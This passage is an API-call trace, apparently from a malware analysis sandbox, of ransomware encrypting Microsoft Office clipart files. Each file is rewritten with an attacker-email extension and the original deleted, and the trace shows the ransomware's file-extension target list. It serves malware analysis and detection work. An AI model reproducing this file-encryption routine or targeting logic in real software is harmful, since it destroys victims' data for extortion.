office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0x220 [0269.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0269.916] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.916] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0269.918] GetLastError () returned 0x0 [0269.918] ReadFile (in: hFile=0x524, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0269.934] WriteFile (in: hFile=0x550, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0269.936] ReadFile (in: hFile=0x524, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.936] WriteFile (in: hFile=0x550, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xea, lpOverlapped=0x0) returned 1 [0269.936] SetEndOfFile (hFile=0x550) returned 1 [0269.936] CloseHandle (hObject=0x550) returned 1 [0269.936] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.936] SetEndOfFile (hFile=0x524) returned 1 [0269.939] CloseHandle (hObject=0x524) returned 1 [0269.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0269.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0269.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0269.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0269.941] lstrlenW (lpString=".doc") returned 4 [0269.941] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0269.941] lstrlenW (lpString=".docx") returned 5 [0269.941] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0269.941] lstrlenW (lpString=".pdf") returned 4 [0269.941] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0269.941] lstrlenW (lpString=".xls") returned 4 [0269.941] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0269.941] lstrlenW (lpString=".xlsx") returned 5 [0269.941] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0269.941] lstrlenW (lpString=".ppt") returned 4 [0269.941] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0269.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0269.941] lstrlenW (lpString=".zip") returned 4 [0269.941] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0269.941] lstrlenW (lpString=".rar") returned 4 [0269.941] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0269.942] lstrlenW (lpString=".bz2") returned 4 [0269.942] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0269.942] lstrlenW (lpString=".7z") returned 3 [0269.942] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0269.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0269.942] lstrlenW (lpString=".dbf") returned 4 [0269.942] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0269.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0269.942] lstrlenW (lpString=".1cd") returned 4 [0269.942] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0269.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0269.942] lstrlenW (lpString=".jpg") returned 4 [0269.942] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0269.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0269.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0269.942] lstrlenW (lpString=".doc") returned 4 [0269.942] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0269.943] lstrlenW (lpString=".docx") returned 5 [0269.943] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0269.943] lstrlenW (lpString=".pdf") returned 4 [0269.943] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0269.943] lstrlenW (lpString=".xls") returned 4 [0269.943] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0269.943] lstrlenW (lpString=".xlsx") returned 5 [0269.943] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0269.943] lstrlenW (lpString=".ppt") returned 4 [0269.943] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0269.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0269.943] lstrlenW (lpString=".zip") returned 4 [0269.943] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0269.943] lstrlenW (lpString=".rar") returned 4 [0269.943] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0269.943] lstrlenW (lpString=".bz2") returned 4 [0269.943] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0269.943] lstrlenW (lpString=".7z") returned 3 [0269.944] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0269.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0269.944] lstrlenW (lpString=".dbf") returned 4 [0269.944] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0269.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0269.944] lstrlenW (lpString=".1cd") returned 4 [0269.944] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0269.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0269.944] lstrlenW (lpString=".jpg") returned 4 [0269.944] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0269.944] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0269.944] lstrlenW (lpString="CARBN_01.MID") returned 12 [0269.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0270.125] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=9322) returned 1 [0270.125] CloseHandle (hObject=0x524) returned 1 [0270.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220 [0270.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0270.126] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.126] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0270.128] GetLastError () returned 0x0 [0270.128] ReadFile (in: hFile=0x524, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x246a, lpOverlapped=0x0) returned 1 [0270.170] WriteFile (in: hFile=0x550, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2470, lpOverlapped=0x0) returned 1 [0270.171] ReadFile (in: hFile=0x524, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.171] WriteFile (in: hFile=0x550, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.171] SetEndOfFile (hFile=0x550) returned 1 [0270.174] CloseHandle (hObject=0x550) returned 1 [0270.174] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.174] SetEndOfFile (hFile=0x524) returned 1 [0270.185] CloseHandle (hObject=0x524) returned 1 [0270.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0270.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0270.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0270.187] lstrlenW (lpString=".doc") returned 4 [0270.187] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.187] lstrlenW (lpString=".docx") returned 5 [0270.187] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.187] lstrlenW (lpString=".pdf") returned 4 [0270.187] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.187] lstrlenW (lpString=".xls") returned 4 [0270.187] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.187] lstrlenW (lpString=".xlsx") returned 5 [0270.187] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.187] lstrlenW (lpString=".ppt") returned 4 [0270.187] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0270.187] lstrlenW (lpString=".zip") returned 4 [0270.188] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.188] lstrlenW (lpString=".rar") returned 4 [0270.188] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.188] lstrlenW (lpString=".bz2") returned 4 [0270.188] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.188] lstrlenW (lpString=".7z") returned 3 [0270.188] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0270.188] lstrlenW (lpString=".dbf") returned 4 [0270.188] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0270.188] lstrlenW (lpString=".1cd") returned 4 [0270.188] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0270.188] lstrlenW (lpString=".jpg") returned 4 [0270.188] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0270.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0270.188] lstrlenW (lpString=".doc") returned 4 [0270.188] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.188] lstrlenW (lpString=".docx") returned 5 [0270.188] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.188] lstrlenW (lpString=".pdf") returned 4 [0270.188] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.188] lstrlenW (lpString=".xls") returned 4 [0270.189] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.189] lstrlenW (lpString=".xlsx") returned 5 [0270.189] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.189] lstrlenW (lpString=".ppt") returned 4 [0270.189] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0270.189] lstrlenW (lpString=".zip") returned 4 [0270.189] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.189] lstrlenW (lpString=".rar") returned 4 [0270.189] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.189] lstrlenW (lpString=".bz2") returned 4 [0270.189] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.189] lstrlenW (lpString=".7z") returned 3 [0270.189] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0270.189] lstrlenW (lpString=".dbf") returned 4 [0270.189] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0270.189] lstrlenW (lpString=".1cd") returned 4 [0270.189] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0270.189] lstrlenW (lpString=".jpg") returned 4 [0270.189] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.189] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0270.190] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0270.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0270.190] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=6970) returned 1 [0270.190] CloseHandle (hObject=0x524) returned 1 [0270.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220 [0270.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0270.193] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.193] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.194] GetLastError () returned 0x0 [0270.194] ReadFile (in: hFile=0x524, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x1b3a, lpOverlapped=0x0) returned 1 [0270.269] WriteFile (in: hFile=0x554, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x1b40, lpOverlapped=0x0) returned 1 [0270.270] ReadFile (in: hFile=0x524, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.271] WriteFile (in: hFile=0x554, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.271] SetEndOfFile (hFile=0x554) returned 1 [0270.271] CloseHandle (hObject=0x554) returned 1 [0270.271] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.271] SetEndOfFile (hFile=0x524) returned 1 [0270.275] CloseHandle (hObject=0x524) returned 1 [0270.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0271.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0271.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0271.325] lstrlenW (lpString=".doc") returned 4 [0271.325] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.325] lstrlenW (lpString=".docx") returned 5 [0271.325] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.325] lstrlenW (lpString=".pdf") returned 4 [0271.325] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.325] lstrlenW (lpString=".xls") returned 4 [0271.325] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.326] lstrlenW (lpString=".xlsx") returned 5 [0271.326] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.326] lstrlenW (lpString=".ppt") returned 4 [0271.326] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0271.326] lstrlenW (lpString=".zip") returned 4 [0271.326] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.326] lstrlenW (lpString=".rar") returned 4 [0271.326] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.326] lstrlenW (lpString=".bz2") returned 4 [0271.326] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.326] lstrlenW (lpString=".7z") returned 3 [0271.326] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0271.326] lstrlenW (lpString=".dbf") returned 4 [0271.326] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0271.326] lstrlenW (lpString=".1cd") returned 4 [0271.326] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0271.326] lstrlenW (lpString=".jpg") returned 4 [0271.326] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0271.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0271.326] lstrlenW (lpString=".doc") returned 4 [0271.327] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.327] lstrlenW (lpString=".docx") returned 5 [0271.327] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.327] lstrlenW (lpString=".pdf") returned 4 [0271.327] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.327] lstrlenW (lpString=".xls") returned 4 [0271.327] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.327] lstrlenW (lpString=".xlsx") returned 5 [0271.327] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.327] lstrlenW (lpString=".ppt") returned 4 [0271.327] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0271.327] lstrlenW (lpString=".zip") returned 4 [0271.327] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.327] lstrlenW (lpString=".rar") returned 4 [0271.327] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.327] lstrlenW (lpString=".bz2") returned 4 [0271.327] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.327] lstrlenW (lpString=".7z") returned 3 [0271.327] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0271.327] lstrlenW (lpString=".dbf") returned 4 [0271.327] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0271.327] lstrlenW (lpString=".1cd") returned 4 [0271.327] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0271.328] lstrlenW (lpString=".jpg") returned 4 [0271.328] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.328] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0271.328] lstrlenW (lpString="INDST_01.MID") returned 12 [0271.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0271.329] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=8568) returned 1 [0271.329] CloseHandle (hObject=0x53c) returned 1 [0271.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220 [0271.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), 